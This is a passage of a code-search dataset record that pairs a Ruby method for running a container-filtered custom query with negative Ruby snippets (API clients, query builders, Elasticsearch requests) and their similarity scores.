\"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def _query(*params)\n fail 'not implemented'\n end",
"def apply_projection(query, projection)\n validate_query(query)\n validate_projection(projection)\n\n if projection.is_a?(Hash)\n expression = projection[:base_table]\n projection[:joins].each do |join|\n expression = expression.join(join[:arel_table], join[:type]).on(join[:on])\n end\n query = query.joins(expression.join_sources)\n query = query.select(projection[:projection])\n\n return query\n end\n\n query.select(projection)\n end"
] |
[
"0.7095027",
"0.6986104",
"0.6362176",
"0.59127903",
"0.5726557",
"0.57155156",
"0.57119775",
"0.5462445",
"0.5332591",
"0.5323325",
"0.5321059",
"0.5304085",
"0.52705777",
"0.5258084",
"0.52253574",
"0.51913804",
"0.5147824",
"0.51346713",
"0.51061404",
"0.5100443",
"0.5092929",
"0.5085683",
"0.50612736",
"0.5059306",
"0.5043071",
"0.502466",
"0.50123036",
"0.5007581",
"0.49987766",
"0.49767944",
"0.49725345",
"0.49650526",
"0.49360853",
"0.49360853",
"0.49227583",
"0.49111247",
"0.48930103",
"0.48840016",
"0.48755282",
"0.4871075",
"0.48706698",
"0.48594433",
"0.48541933",
"0.48540306",
"0.48401514",
"0.48380736",
"0.4830749",
"0.48254213",
"0.48250467",
"0.48211366",
"0.4816322",
"0.480849",
"0.48062074",
"0.4801866",
"0.47849002",
"0.47835875",
"0.47770783",
"0.47769555",
"0.47660282",
"0.47617653",
"0.4758024",
"0.4753495",
"0.4730644",
"0.4730257",
"0.47280145",
"0.47280145",
"0.47266257",
"0.47233558",
"0.47223794",
"0.47044724",
"0.47035965",
"0.47003812",
"0.46911222",
"0.4683231",
"0.4680939",
"0.4680318",
"0.4669431",
"0.46674114",
"0.4666446",
"0.46649346",
"0.4663057",
"0.4661077",
"0.46470058",
"0.4646981",
"0.46456555",
"0.46374655",
"0.46372333",
"0.4634255",
"0.46306875",
"0.46208674",
"0.4620526",
"0.4612676",
"0.4612676",
"0.46101287",
"0.46076974",
"0.4587686",
"0.45819908",
"0.45811406",
"0.45789698",
"0.45779103"
] |
0.6755226
|
2
|
Queries using query definition identified by queryName filtered by container. Maps the result to concrete objects based on provided mapper. Query is additional altered by the filter spec and/or builder
|
def run_query_filtered_by_deployment_id(id, query_name, mapper, opts = {})
data, _status_code, _headers = run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/filtered-data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def run_query_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Object>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/containers/{id}/query/{queryName}/filtered-data\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end",
"def apply_filters(query)\n query\n end",
"def query(query_definition)\n return\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def query_view(view_name, map_function, reduce_function, options)\n search_values = search_values(options)\n begin\n do_query_view(view_name, search_values)\n rescue DocumentNotFound\n create_view(view_name, map_function, reduce_function)\n do_query_view(view_name, search_values)\n end\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def query(params = nil, filters = nil)\n builder = ::Elastic::Query.new(params)\n builder.filter(filters) if filters\n builder\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end",
"def _query_map(object_type, hParams)\n return {} unless hParams\n\n object_type = object_type.to_sym if object_type.class == String\n\n result = {}\n maps = PrcLib.model.meta_obj.rh_get(object_type, :query_mapping)\n hParams.each do |key, value|\n key_path_obj = KeyPath.new(key)\n\n bold_action = ANSI.bold('ACTION REQUIRED')\n PrcLib.runtime_fail \"Forj query field '%s.%s' not defined by class\"\\\n \" '%s'.\\n#{bold_action}\"\\\n \":\\nMissing data model 'def_attribute' or \"\\\n \"'def_query_attribute' for '%s'??? \"\\\n \"Check the object '%s' data model.\",\n object_type, key_path_obj.key,\n self.class, key_path_obj.key,\n object_type unless maps.key?(key_path_obj.fpath)\n\n next if maps[key_path_obj.fpath].nil?\n\n map_path = KeyPath.new(maps[key_path_obj.fpath])\n _query_value_mapping(object_type, result, key_path_obj, map_path, value)\n end\n result\n end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def query1\n @cquery = \"\"\n @tquery = \"\"\n if params[:condition_query].present?\n @cquery = params[:condition_query]\n responses = AlternateName.search(@cquery).records\n @conditions = []\n responses.each do |response|\n response.medical_conditions.each do |condition|\n @conditions << condition\n end\n end\n else\n @conditions = MedicalCondition.all\n end\n if params[:therapy_query].present?\n @tquery = params[:therapy_query]\n @therapies = MedicalTherapy.search(@tquery).records\n else\n @therapies = []\n end\n end",
"def apply_filter(query)\n query\n end",
"def apply_filter(query)\n query\n end",
"def query\n @operation = :query\n self\n end",
"def query\n case query_type_str\n when 'empty'\n return\n when 'iso'\n return iso_query_builder\n when 'multi'\n return multi_query_builder\n end\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def searchUsing(filter)\n @zqlQuery = filter\n end",
"def process_query(query)\n # Nothing in default\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def query_builder_with_filter_from_hash(params)\n types = get_types_parameters\n\n validate_parameters(types, params)\n\n pattern = params[:q]\n\n only_liked = params[:only_liked] == 'true'\n only_shared = params[:only_shared] == 'true'\n only_subscriptions = params[:subscribed] == 'true'\n only_samples = params[:sample] == 'true'\n exclude_shared = params[:exclude_shared] == 'true'\n exclude_raster = params[:exclude_raster] == 'true'\n locked = params[:locked]\n shared = compose_shared(params[:shared], only_shared, exclude_shared)\n tags = params.fetch(:tags, '').split(',')\n tags = nil if tags.empty?\n bbox_parameter = params.fetch(:bbox,nil)\n privacy = params.fetch(:privacy,nil)\n only_with_display_name = params[:only_with_display_name] == 'true'\n with_dependent_visualizations = params[:with_dependent_visualizations].to_i\n only_published = params[:only_published] == 'true'\n\n vqb = VisualizationQueryBuilder.new\n .with_prefetch_user\n .with_prefetch_table\n .with_prefetch_permission\n .with_prefetch_synchronization\n .with_prefetch_external_source\n .with_types(types)\n .with_tags(tags)\n\n if !bbox_parameter.blank?\n vqb.with_bounding_box(Carto::BoundingBoxUtils.parse_bbox_parameters(bbox_parameter))\n end\n\n # FIXME Patch to exclude legacy visualization from data-library #5097\n if only_with_display_name\n vqb.with_display_name\n end\n\n vqb.with_published if only_published\n\n if current_user\n vqb.with_current_user_id(current_user.id)\n vqb.with_liked_by_user_id(current_user.id) if only_liked\n vqb.with_subscription if only_subscriptions\n vqb.with_sample if only_samples\n case shared\n when FILTER_SHARED_YES\n vqb.with_owned_by_or_shared_with_user_id(current_user.id)\n when FILTER_SHARED_NO\n vqb.with_user_id(current_user.id) if !only_liked\n when FILTER_SHARED_ONLY\n vqb.with_shared_with_user_id(current_user.id)\n .with_user_id_not(current_user.id)\n end\n\n vqb.without_raster if exclude_raster\n\n if locked == 'true'\n vqb.with_locked(true)\n elsif locked == 'false'\n vqb.with_locked(false)\n end\n\n if types.include? Carto::Visualization::TYPE_REMOTE\n vqb.without_synced_external_sources\n vqb.without_imported_remote_visualizations\n end\n\n vqb.with_privacy(privacy) unless privacy.nil?\n\n if with_dependent_visualizations.positive? && !current_user.has_feature_flag?('faster-dependencies')\n vqb.with_prefetch_dependent_visualizations\n end\n else\n user = Carto::User.where(username: CartoDB.extract_subdomain(request)).first\n raise Carto::ParamInvalidError.new(:username) unless user.present?\n vqb.with_user_id(user.id)\n .with_privacy(Carto::Visualization::PRIVACY_PUBLIC)\n end\n\n if pattern.present?\n vqb.with_partial_match(pattern)\n end\n\n vqb\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def request(query_description)\n raise MissingSqlQueryError if query_description[:raw_query].nil?\n\n request = {\n body: URI.encode_www_form('from': DateTime.strptime(query_description[:from], '%Q').strftime('%H:%M_%Y%m%d'),\n 'until': DateTime.strptime(query_description[:to], '%Q').strftime('%H:%M_%Y%m%d'),\n 'format': 'json',\n 'target': replace_variables(query_description[:raw_query], query_description[:variables])),\n content_type: 'application/x-www-form-urlencoded',\n request: Net::HTTP::Post\n }\n\n webrequest = query_description[:prepared_request]\n webrequest.relative_url = \"/api/datasources/proxy/#{id}/render\"\n webrequest.options.merge!(request)\n\n result = webrequest.execute(query_description[:timeout])\n preformat_response(result.body)\n end",
"def query query_object\n\t\tcase query_object.kind\n\t\t\twhen \"random\"\n\t\t\t\tget_random query_object\n\t\t\twhen \"query\"\n\t\t\t\tget_query query_object\n\t\t\twhen \"category_kind\"\n\t\t\t\tget_category query_object\n\t\t\telse\n\t\t\t\tset_error query_object\n\t\tend\n\n\t\tquery_object\n\tend",
"def compute_query_api_pattern_params(query_api_method_name, container, used_query_params)\n container[:params] = compute_query_api_pattern_param(query_api_method_name, container[:params], container[:params_with_defaults], used_query_params)\n end",
"def raw_query( view_name, opts={} )\n opts = Gnash.new( opts ) unless opts.empty?\n doc_class = opts[:document_class]\n\n params = []\n params << 'include_docs=true' unless (opts[:select] && opts[:select] != 'all' || opts[:reduce])\n\n\n # TODO: this is according to couchdb really inefficent with large sets of data.\n # A better way would involve, using start and end keys with limit. But this\n # is a really hard one to figure with jumping around to different pages\n params << \"skip=#{opts[:offset]}\" if opts[:offset]\n params << \"limit=#{opts[:limit]}\" if opts[:limit]\n params << \"key=#{opts[:equals]}\" if opts[:equals]\n if opts[:order].to_s == 'desc' || opts[:order].to_s == 'descending'\n desc = true\n params << \"descending=true\"\n end\n if opts[:range] && opts[:range].size == 2\n params << \"startkey=#{opts[:range][desc == true ? 1 : 0 ]}\"\n params << \"endkey=#{opts[:range][desc == true ? 0 : 1]}\"\n end\n\n query_uri = \"#{uri}/_view/#{CGI.escape(view_name.to_s)}?\"\n query_uri << params.join('&')\n\n result = CouchSpring.get( query_uri )\n ResultSet.new( result, doc_class )\n end",
"def query_map(sCloudObj, hParams)\n return nil if not sCloudObj or not [String, Symbol].include?(sCloudObj.class)\n return {} if not hParams\n\n sCloudObj = sCloudObj.to_sym if sCloudObj.class == String\n\n hReturn = {}\n hMap = rhGet(@@meta_obj, sCloudObj, :query_mapping)\n hParams.each { |key, value|\n oKeyPath = KeyPath.new(key)\n sKeyPath = oKeyPath.sFullPath\n raise ForjError.new(), \"Forj query field '%s.%s' not defined by class '%s'\" % [sCloudObj, oKeyPath.sKey, self.class] if not hMap.key?(oKeyPath.sFullPath)\n oMapPath = KeyPath.new(hMap[oKeyPath.sFullPath])\n hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, sKeyPath)\n if hValueMapping\n raise ForjError.new(), \"'%s.%s': No value mapping for '%s'\" % [sCloudObj, oKeyPath.sKey, value] if rhExist?(hValueMapping, value) != 1\n\n rhSet(hReturn, hValueMapping[value], oMapPath.aTree)\n else\n rhSet(hReturn, value, oMapPath.aTree)\n end\n }\n hReturn\n end",
"def retrieve_query\n if params[:set_filter] or !session[:query] or session[:query].project_id\n # Give it a name, required to be valid\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\n if params[:fields] and params[:fields].is_a? Array\n params[:fields].each do |field|\n @query.add_filter(field, params[:operators][field], params[:values][field])\n end\n else\n @query.available_filters.keys.each do |field|\n @query.add_short_filter(field, params[field]) if params[field]\n end\n end\n session[:query] = @query\n else\n @query = session[:query]\n end\n end",
"def query_for(source, other_query = nil)\n repository_name = relative_target_repository_name_for(source)\n\n DataMapper.repository(repository_name).scope do\n query = target_model.query.dup\n query.update(self.query)\n query.update(source_scope(source))\n query.update(other_query) if other_query\n query.update(:fields => query.fields | target_key)\n end\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def build_query(params)\n query = UserInteraction.includes(:user, :interaction, :answer)\n fields = get_fields()\n params.each do |filter|\n field_id = filter['field'].to_sym\n operator = filter['operand']\n operand = filter['value']\n if operator == FILTER_OPERATOR_CONTAINS\n query = query.where( get_active_record_expression(fields[field_id]['column_name'], operator, fields[field_id]['model']), \"%\"+operand.to_s+\"%\" )\n else\n query = query.where( get_active_record_expression(fields[field_id]['column_name'], operator, fields[field_id]['model']), operand )\n end\n end\n return query \n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def filter(*query_names, &block)\n each_query(query_names) do |query|\n query.add_filter(block)\n end\n end",
"def to_query\n hash = {:fields => [], :operators => {}, :values => {}}\n active_filters.each do |f|\n hash[:fields] << f.name\n hash[:operators][f.name] = f.operator\n hash[:values][f.name] = f.value\n end\n hash.to_query\n end",
"def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end",
"def get_query\n \n # Get query parameters passed\n query_params = request.query_parameters\n \n # Initialize query with country from route\n query = {'country' => params[:country]}\n \n # Allowed search terms, only these keys are searchable \n search_keys = ['name', 'a_id', 'pub_id', 'device', 'min_price', 'max_price',\n 'pub_name', 'min_app_rating', 'max_app_rating',\n 'category', 'sub_category', 'interests_only']\n \n # Iterate through the keys, determine if the params match the key and if so \n # add a condition to the query\n search_keys.each do |key|\n param = query_params[key]\n \n # Make sure the parameter is defined \n next unless param\n \n #logger.info('key %s, param %s' % [key, param])\n \n # handlers for different keys\n case key\n when 'a_id', 'pub_id'\n # IDs are floats so convert\n query[key] = query_params[key].to_f\n when 'name', 'pub_name'\n # Do regex match on names so you can match substring\n query[key] = /#{query_params[key]}/\n when 'min_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$gte] = param.to_f\n when 'max_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$lte] = param.to_f\n when 'min_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$gte] = param.to_f\n when 'max_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$lte] = param.to_f\n when 'interests_only'\n interest_query = []\n param.split(',').each do |interest|\n interest_query << {:interests => interest}\n end\n # And filter only the apps that have either one of the interests\n query[:$and] = [{:$or => interest_query}]\n else\n # Deals with all the parameters that are specified and match with\n # the model attributes\n query[key] = param\n end\n end\n \n return query\n end",
"def data_by_query(query_params)\n post_request( \"/api/v2_1/api/persons/search\",\n Formatter::RequestFormatter.format_person_search_query_data(query_params))\n end",
"def query_def; query.name; end",
"def run_query()\n return nil unless @query\n \n gres = @query.execute()\n if @filterClass \n fres = @filterClass.filter(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n elsif @filterBlock \n fres = @filterBlock.call(gres)\n res = fres.kind_of?(Array) ? fres.join(\"\\n\") : fres.to_s\n else\n res = fres.result_s\n end\n res\n end",
"def _query(q, params={})\n engine = Java::OrgNeo4jCypherJavacompat::ExecutionEngine.new(db)\n result = engine.execute(q, Core::HashWithIndifferentAccess.new(params))\n Neo4j::Cypher::ResultWrapper.new(result)\n end",
"def for_query(query)\n all.find { |f| f.query == query }\n end",
"def base_query\n DataServicesApi::QueryGenerator.new\n end",
"def normalize_query(query, filters)\n filter = normalize_filters filters\n query ||= {match_all: {}}\n return query unless filter\n {filtered: {\n query: query,\n filter: filter,\n }}\n end",
"def query(&block)\n Query.new(self, &block)\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def where(query = {})\n payload = api.call('interface', [ query ], namespace: :mapping)\n\n raise SNT::PMS::Errors::PMSError, payload['errors'] if payload.key?('errors')\n\n payload['results'].inject([]) do |objects, obj|\n # Select the attributes from the attributes key\n object_attributes = obj.map { |k, v| [k.tr('-', '_').to_sym, v] }.to_h\n\n objects << new(object_attributes)\n end\n end",
"def results(base_query)\n return base_query if @filters.nil?\n base_query.where @filters\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def generate(filters)\n raise \"Not refactored yet!\"\n seen_associations = Set.new\n filters.each do |(attr, spec)|\n column_name = _mapped_filter(attr)\n unless column_name\n msg = \"Filtering by #{attr} is not allowed. No implementation mapping defined for it has been found \\\n and there is not a model attribute with this name either.\\n\" \\\n \"Please add a mapping for #{attr} in the `filters_mapping` method of the appropriate Resource class\"\n raise msg\n end \n if column_name.is_a?(Proc)\n bindings = column_name.call(spec)\n # A hash of bindings, consisting of a key with column name and a value to the query value\n bindings.each{|col,val| expand_binding(column_name: col, op: spec[:op], value: val )}\n else\n expand_binding(column_name: column_name, **spec)\n end\n end\n query\n end",
"def query(&blk)\n @adapter.query(collection, self, &blk)\n end",
"def solr_query(query, options = {})\n query_options = generate_query_options(query, options)\n activerecord_options = extract_activerecord_options(options)\n SolrSearchable::Handler::Select.new(query_options, self, {:format => :raw}).execute\n end",
"def get_query_response(query, cursor=nil)\n envelope = { :qname => {:query => query, :escape => false }}\n envelope[:qname][:cursor] = cursor if cursor\n \n response = http_request mqlread_service_url, :queries => envelope.to_json\n result = JSON.parse response\n inner = result['qname']\n handle_read_error(inner)\n Ken.logger.info \"<<< Received Response: #{inner['result'].inspect}\"\n inner\n end",
